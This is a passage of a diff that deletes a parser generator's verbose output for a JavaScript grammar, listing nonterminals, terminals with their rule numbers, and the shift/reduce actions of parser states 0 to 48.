-  LogicalANDExprNoBF (162)
-    on right: 182 187
-    on left : 181 182
-  LogicalORExpr (163)
-    on right: 184 189 190
-    on left : 183 184
-  LogicalORExprNoIn (164)
-    on right: 186 191 192
-    on left : 185 186
-  LogicalORExprNoBF (165)
-    on right: 188 193 194
-    on left : 187 188
-  ConditionalExpr (166)
-    on right: 195
-    on left : 189 190
-  ConditionalExprNoIn (167)
-    on right: 197
-    on left : 191 192
-  AssignmentExprNoIn (168)
-    on right: 192 198 215 216 237
-    on left : 197 198
-  ConditionalExprNoBF (169)
-    on right: 199
-    on left : 193 194
-  AssignmentOperator (170)
-    on right: 196 198 200
-    on left : 201 202 203 204 205 206 207 208 209 210 211 212
-  AssignmentExprNoBF (171)
-    on right: 217
-    on left : 199 200
-  ExprNoIn (172)
-    on right: 216 254
-    on left : 215 216
-  ExprNoBF (173)
-    on right: 218 239 240
-    on left : 217 218
-  VariableDeclarationList (174)
-    on right: 220 221 223
-    on left : 222 223
-  VariableDeclaration (175)
-    on right: 222 223
-    on left : 226 227
-  VariableDeclarationListNoIn (176)
-    on right: 225 247
-    on left : 224 225
-  VariableDeclarationNoIn (177)
-    on right: 224 225
-    on left : 228 229
-  Initializer (178)
-    on right: 227 235
-    on left : 236
-  InitializerNoIn (179)
-    on right: 229 250
-    on left : 237
-  ConstDeclarationList (180)
-    on right: 230 231 233
-    on left : 232 233
-  ConstDeclaration (181)
-    on right: 232 233
-    on left : 234 235
-  ExprNoInOpt (182)
-    on right: 246
-    on left : 253 254
-  ExprOpt (183)
-    on right: 246 247
-    on left : 251 252
-  CaseBlock (184)
-    on right: 268
-    on left : 269 270
-  CaseClausesOpt (185)
-    on right: 269 270
-    on left : 271 272
-  DefaultClause (186)
-    on right: 270
-    on left : 276
-  CaseClauses (187)
-    on right: 272 274
-    on left : 273 274
-  CaseClause (188)
-    on right: 273 274
-    on left : 275
-
-**Terminals, with rules where they appear
-
-  $end (0) 
-  error (1) 221 231 240 244 256 258 260 262 264 266 279 284
-  NULL (2) 23
-  TRUE (3) 24
-  FALSE (4) 25
-  BREAK (5) 259 260 261 262
-  CASE (6) 275
-  CATCH (7) 281 282
-  CONST (8) 230 231
-  CONTINUE (9) 255 256 257 258
-  DEBUGGER (10) 283 284
-  DEFAULT (11) 276
-  DELETE (12) 89
-  DO (13) 243 244
-  ELSE (14) 242
-  ENUM (15) 
-  FINALLY (16) 280 282
-  FOR (17) 246 247 248 249 250
-  FUNCTION (18) 285 286 287 288 289 290
-  IF (19) 241 242
-  IN (20) 130 143 248 249 250
-  INSTANCEOF (21) 129 136 142
-  NEW (22) 58 62 64 66
-  RETURN (23) 263 264 265 266
-  SWITCH (24) 268
-  THIS (25) 40
-  THROW (26) 278 279
-  TRY (27) 280 281 282
-  TYPEOF (28) 91
-  VAR (29) 220 221 247 249 250
-  VOID (30) 90
-  WHILE (31) 243 244 245
-  WITH (32) 267
-  EQEQ (33) 145 150 155
-  NE (34) 146 151 156
-  STREQ (35) 147 152 157
-  STRNEQ (36) 148 153 158
-  LE (37) 127 134 140
-  GE (38) 128 135 141
-  OR (39) 184 186 188
-  AND (40) 178 180 182
-  PLUSPLUS (41) 84 87 92
-  MINUSMINUS (42) 85 88 93
-  LSHIFT (43) 117 121
-  RSHIFT (44) 118 122
-  URSHIFT (45) 119 123
-  PLUSEQUAL (46) 202
-  MINUSEQUAL (47) 203
-  MULTEQUAL (48) 204
-  DIVEQUAL (49) 205
-  LSHIFTEQUAL (50) 206
-  RSHIFTEQUAL (51) 207
-  URSHIFTEQUAL (52) 208
-  ANDEQUAL (53) 209
-  MODEQUAL (54) 212
-  XOREQUAL (55) 210
-  OREQUAL (56) 211
-  REGEXP (57) 28
-  NUMBER (58) 26 31
-  STRING (59) 27 30
-  IDENT (60) 29 32 33 43 57 61 70 74 226 227 228 229 234 235 249 250 257 258 261 262 277 281 282 285 286 289 290 291 292
-  AUTOPLUSPLUS (61) 
-  AUTOMINUSMINUS (62) 
-  IF_WITHOUT_ELSE (63) 
-  ":" (64) 29 30 31 190 192 194 275 276 277
-  "(" (65) 32 33 44 75 76 241 242 243 244 245 246 247 248 249 250 267 268 281 282 285 286 287 288 289 290
-  ")" (66) 32 33 44 75 76 241 242 243 244 245 246 247 248 249 250 267 268 281 282 285 286 287 288 289 290
-  "{" (67) 32 33 37 38 39 219 269 270 285 286 287 288 289 290
-  "}" (68) 32 33 37 38 39 219 269 270 285 286 287 288 289 290
-  "," (69) 35 39 47 49 52 53 78 214 216 218 223 225 233 292
-  "[" (70) 45 46 47 56 60 69 73
-  "]" (71) 45 46 47 56 60 69 73
-  "." (72) 57 61 70 74
-  "+" (73) 94 111 114
-  "-" (74) 95 112 115
-  "~" (75) 96
-  "!" (76) 97
-  "*" (77) 103 107
-  "/" (78) 104 108
-  "%" (79) 105 109
-  "<" (80) 125 132 138
-  ">" (81) 126 133 139
-  "&" (82) 160 162 164
-  "^" (83) 166 168 170
-  "|" (84) 172 174 176
-  "?" (85) 190 192 194
-  "=" (86) 201 236 237
-  ";" (87) 220 230 238 239 243 246 247 255 257 259 261 263 265 278 283
-
---------- State ---------
-
-state 0
-
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElements  go to state 1
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-
-state 1
-
-
-  $end          shift, and go to state 82
-
-
-state 2
-
-   2) SourceElements : SourceElementList _
-   4) SourceElementList : SourceElementList _ SourceElement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 2 (SourceElements)
-
-  SourceElement  go to state 83
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-
-state 3
-
-   3) SourceElementList : SourceElement _
-
-  $default      reduce using rule 3 (SourceElementList)
-
-
-state 4
-
-   5) SourceElement : FunctionDeclaration _
-
-  $default      reduce using rule 5 (SourceElement)
-
-
-state 5
-
-   6) SourceElement : Statement _
-
-  $default      reduce using rule 6 (SourceElement)
-
-
-state 6
-
-   7) Statement : Block _
-
-  $default      reduce using rule 7 (Statement)
-
-
-state 7
-
-   8) Statement : VariableStatement _
-
-  $default      reduce using rule 8 (Statement)
-
-
-state 8
-
-   9) Statement : ConstStatement _
-
-  $default      reduce using rule 9 (Statement)
-
-
-state 9
-
-  10) Statement : EmptyStatement _
-
-  $default      reduce using rule 10 (Statement)
-
-
-state 10
-
-  11) Statement : ExprStatement _
-
-  $default      reduce using rule 11 (Statement)
-
-
-state 11
-
-  12) Statement : IfStatement _
-
-  $default      reduce using rule 12 (Statement)
-
-
-state 12
-
-  13) Statement : IterationStatement _
-
-  $default      reduce using rule 13 (Statement)
-
-
-state 13
-
-  14) Statement : ContinueStatement _
-
-  $default      reduce using rule 14 (Statement)
-
-
-state 14
-
-  15) Statement : BreakStatement _
-
-  $default      reduce using rule 15 (Statement)
-
-
-state 15
-
-  16) Statement : ReturnStatement _
-
-  $default      reduce using rule 16 (Statement)
-
-
-state 16
-
-  17) Statement : WithStatement _
-
-  $default      reduce using rule 17 (Statement)
-
-
-state 17
-
-  18) Statement : SwitchStatement _
-
-  $default      reduce using rule 18 (Statement)
-
-
-state 18
-
-  19) Statement : LabelledStatement _
-
-  $default      reduce using rule 19 (Statement)
-
-
-state 19
-
-  20) Statement : ThrowStatement _
-
-  $default      reduce using rule 20 (Statement)
-
-
-state 20
-
-  21) Statement : TryStatement _
-
-  $default      reduce using rule 21 (Statement)
-
-
-state 21
-
-  22) Statement : DebuggerStatement _
-
-  $default      reduce using rule 22 (Statement)
-
-
-state 22
-
-  23) Literal : NULL _
-
-  $default      reduce using rule 23 (Literal)
-
-
-state 23
-
-  24) Literal : TRUE _
-
-  $default      reduce using rule 24 (Literal)
-
-
-state 24
-
-  25) Literal : FALSE _
-
-  $default      reduce using rule 25 (Literal)
-
-
-state 25
-
-  26) Literal : NUMBER _
-
-  $default      reduce using rule 26 (Literal)
-
-
-state 26
-
-  27) Literal : STRING _
-
-  $default      reduce using rule 27 (Literal)
-
-
-state 27
-
-  28) Literal : REGEXP _
-
-  $default      reduce using rule 28 (Literal)
-
-
-state 28
-
-  40) PrimaryExprNoBrace : THIS _
-
-  $default      reduce using rule 40 (PrimaryExprNoBrace)
-
-
-state 29
-
-  41) PrimaryExprNoBrace : Literal _
-
-  $default      reduce using rule 41 (PrimaryExprNoBrace)
-
-
-state 30
-
-  42) PrimaryExprNoBrace : ArrayLiteral _
-
-  $default      reduce using rule 42 (PrimaryExprNoBrace)
-
-
-state 31
-
-  43) PrimaryExprNoBrace : IDENT _
- 277) LabelledStatement : IDENT _ ":" Statement
-
-  ":"           shift, and go to state 84
-  $default      reduce using rule 43 (PrimaryExprNoBrace)
-
-
-state 32
-
-  44) PrimaryExprNoBrace : "(" _ Expr ")"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  Expr          go to state 88
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-
-state 33
-
-  45) ArrayLiteral : "[" _ ElisionOpt "]"
-  46) ArrayLiteral : "[" _ ElementList "]"
-  47) ArrayLiteral : "[" _ ElementList "," ElisionOpt "]"
-
-  ","           shift, and go to state 115
-  $default      reduce using rule 50 (ElisionOpt)
-
-  ElisionOpt    go to state 112
-  ElementList   go to state 113
-  Elision       go to state 114
-
-state 34
-
-  59) MemberExprNoBF : PrimaryExprNoBrace _
-
-  $default      reduce using rule 59 (MemberExprNoBF)
-
-
-state 35
-
-  60) MemberExprNoBF : MemberExprNoBF _ "[" Expr "]"
-  61) MemberExprNoBF : MemberExprNoBF _ "." IDENT
-  65) NewExprNoBF : MemberExprNoBF _
-  71) CallExprNoBF : MemberExprNoBF _ Arguments
-
-  "("           shift, and go to state 119
-  "["           shift, and go to state 116
-  "."           shift, and go to state 117
-  $default      reduce using rule 65 (NewExprNoBF)
-
-  Arguments     go to state 118
-
-state 36
-
-  62) MemberExprNoBF : NEW _ MemberExpr Arguments
-  66) NewExprNoBF : NEW _ NewExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 120
-  NewExpr       go to state 121
-
-state 37
-
-  72) CallExprNoBF : CallExprNoBF _ Arguments
-  73) CallExprNoBF : CallExprNoBF _ "[" Expr "]"
-  74) CallExprNoBF : CallExprNoBF _ "." IDENT
-  82) LeftHandSideExprNoBF : CallExprNoBF _
-
-  "("           shift, and go to state 119
-  "["           shift, and go to state 123
-  "."           shift, and go to state 124
-  $default      reduce using rule 82 (LeftHandSideExprNoBF)
-
-  Arguments     go to state 122
-
-state 38
-
-  81) LeftHandSideExprNoBF : NewExprNoBF _
-
-  $default      reduce using rule 81 (LeftHandSideExprNoBF)
-
-
-state 39
-
-  86) PostfixExprNoBF : LeftHandSideExprNoBF _
-  87) PostfixExprNoBF : LeftHandSideExprNoBF _ PLUSPLUS
-  88) PostfixExprNoBF : LeftHandSideExprNoBF _ MINUSMINUS
- 200) AssignmentExprNoBF : LeftHandSideExprNoBF _ AssignmentOperator AssignmentExpr
-
-  PLUSPLUS      shift, and go to state 125
-  MINUSMINUS    shift, and go to state 126
-  PLUSEQUAL     shift, and go to state 129
-  MINUSEQUAL    shift, and go to state 130
-  MULTEQUAL     shift, and go to state 131
-  DIVEQUAL      shift, and go to state 132
-  LSHIFTEQUAL   shift, and go to state 133
-  RSHIFTEQUAL   shift, and go to state 134
-  URSHIFTEQUAL  shift, and go to state 135
-  ANDEQUAL      shift, and go to state 136
-  MODEQUAL      shift, and go to state 139
-  XOREQUAL      shift, and go to state 137
-  OREQUAL       shift, and go to state 138
-  "="           shift, and go to state 128
-  $default      reduce using rule 86 (PostfixExprNoBF)
-
-  AssignmentOperator  go to state 127
-
-state 40
-
-  89) UnaryExprCommon : DELETE _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 141
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 41
-
-  90) UnaryExprCommon : VOID _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 142
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 42
-
-  91) UnaryExprCommon : TYPEOF _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 143
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 43
-
-  92) UnaryExprCommon : PLUSPLUS _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 144
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 44
-
-  93) UnaryExprCommon : MINUSMINUS _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 145
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 45
-
-  94) UnaryExprCommon : "+" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 146
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 46
-
-  95) UnaryExprCommon : "-" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 147
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 47
-
-  96) UnaryExprCommon : "~" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 148
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 48
-
-  97) UnaryExprCommon : "!" _ UnaryExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  UnaryExpr     go to state 149
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-
-state 49
-
